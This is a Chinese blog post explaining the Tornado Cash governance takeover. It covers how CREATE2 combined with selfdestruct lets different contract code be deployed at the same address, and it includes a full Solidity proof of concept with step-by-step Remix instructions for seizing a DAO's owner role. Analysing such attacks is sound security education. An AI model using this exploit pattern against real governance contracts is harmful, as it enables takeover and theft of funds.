解析Tornado治理攻击：如何同一个地址上部署不同的合约

大概两周前（5 月 20 日），知名混币协议 Tornado Cash 遭受到治理攻击，黑客获取到了Tornado Cash的治理合约的控制权（Owner）。

攻击过程是这样的：攻击者先提交了一个“看起来正常”的提案， 待提案通过之后， 销毁了提案要执行的合约地址， 并在该地址上重新创建了一个攻击合约。

攻击过程可以查看 SharkTeam 的  Tornado.Cash提案攻击原理分析^[1]。

这里攻击的关键是在同一个地址上部署了不同的合约， 这是如何实现的呢？

背景知识

EVM 中有两个操作码用来创建合约：CREATE 与 CREATE2 。

CREATE 操作码

当使用 new Token() 使用的是  CREATE 操作码 ， 创建的合约地址计算函数为：

address tokenAddr = bytes20(keccak256(senderAddress, nonce))

创建的合约地址是通过创建者地址 + 创建者Nonce（创建合约的数量）来确定的， 由于 Nonce 总是逐步递增的， 当 Nonce 增加时，创建的合约地址总是是不同的。

CREATE2 操作码

当添加一个salt时 new Token{salt: bytes32()}() ，则使用的是  CREATE2 操作码 ， 创建的合约地址计算函数为：

 address tokenAddr = bytes20(keccak256(0xFF, senderAddress, salt, bytecode))

创建的合约地址是 创建者地址 + 自定义的盐 + 要部署的智能合约的字节码， 因此 只有相同字节码 和 使用相同的盐值，才可以部署到同一个合约地址上。

那么如何才能在同一地址如何部署不用的合约？

攻击手段

攻击者结合使用 Create2 和 Create 来创建合约， 如图：

代码参考自：https://solidity-by-example.org/hacks/deploy-different-contracts-same-address/

先用 Create2 部署一个合约 Deployer ， 在 Deployer 使用 Create 创建目标合约 Proposal（用于提案使用）。 Deployer 和  Proposal 合约中均有自毁实现（selfdestruct）。

在提案通过后，攻击者把  Deployer 和  Proposal 合约销毁，然后重新用相同的slat创建 Deployer  ，  Deployer 字节码不变，slat 也相同，因此会得到一个和之前相同的   Deployer  合约地址， 但此时   Deployer  合约的状态被清空了， nonce 从 0 开始，因此可以使用该 nonce 创建另一个合约Attack。

攻击代码示例

此代码来自：https://solidity-by-example.org/hacks/deploy-different-contracts-same-address/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
contract DAO {
    struct Proposal {
        address target;
        bool approved;
        bool executed;
    }
    address public owner = msg.sender;
    Proposal[] public proposals;
    function approve(address target) external {
        require(msg.sender == owner, "not authorized");
        proposals.push(Proposal({target: target, approved: true, executed: false}));
    }
    function execute(uint256 proposalId) external payable {
        Proposal storage proposal = proposals[proposalId];
        require(proposal.approved, "not approved");
        require(!proposal.executed, "executed");
        proposal.executed = true;
        (bool ok, ) = proposal.target.delegatecall(
            abi.encodeWithSignature("executeProposal()")
        );
        require(ok, "delegatecall failed");
    }
}
contract Proposal {
    event Log(string message);
    function executeProposal() external {
        emit Log("Excuted code approved by DAO");
    }
    function emergencyStop() external {
        selfdestruct(payable(address(0)));
    }
}
contract Attack {
    event Log(string message);
    address public owner;
    function executeProposal() external {
        emit Log("Excuted code not approved by DAO :)");
        // For example - set DAO's owner to attacker
        owner = msg.sender;
    }
}
contract DeployerDeployer {
    event Log(address addr);
    function deploy() external {
        bytes32 salt = keccak256(abi.encode(uint(123)));
        address addr = address(new Deployer{salt: salt}());
        emit Log(addr);
    }
}
contract Deployer {
    event Log(address addr);
    function deployProposal() external {
        address addr = address(new Proposal());
        emit Log(addr);
    }
    function deployAttack() external {
        address addr = address(new Attack());
        emit Log(addr);
    }
    function kill() external {
        selfdestruct(payable(address(0)));
    }
}

大家可以使用该代码自己在 Remix 中演练一下。

1. 首先部署 DeployerDeployer ， 调用 DeployerDeployer.deploy() 部署 Deployer ， 然后调用   Deployer.deployProposal()  部署  Proposal 。

2. 拿到 Proposal 提案合约地址后， 向  DAO 发起提案。

3. 分别调用 Deployer.kill 和  Proposal.emergencyStop 销毁掉 Deployer 和 Proposal

4. 再次调用 DeployerDeployer.deploy() 部署 Deployer ， 调用 Deployer.deployAttack() 部署  Attack ，    Attack  将和之前的   Proposal 一致。

5. 执行 DAO.execute 时，攻击完成 获取到了 DAO 的 Owner 权限。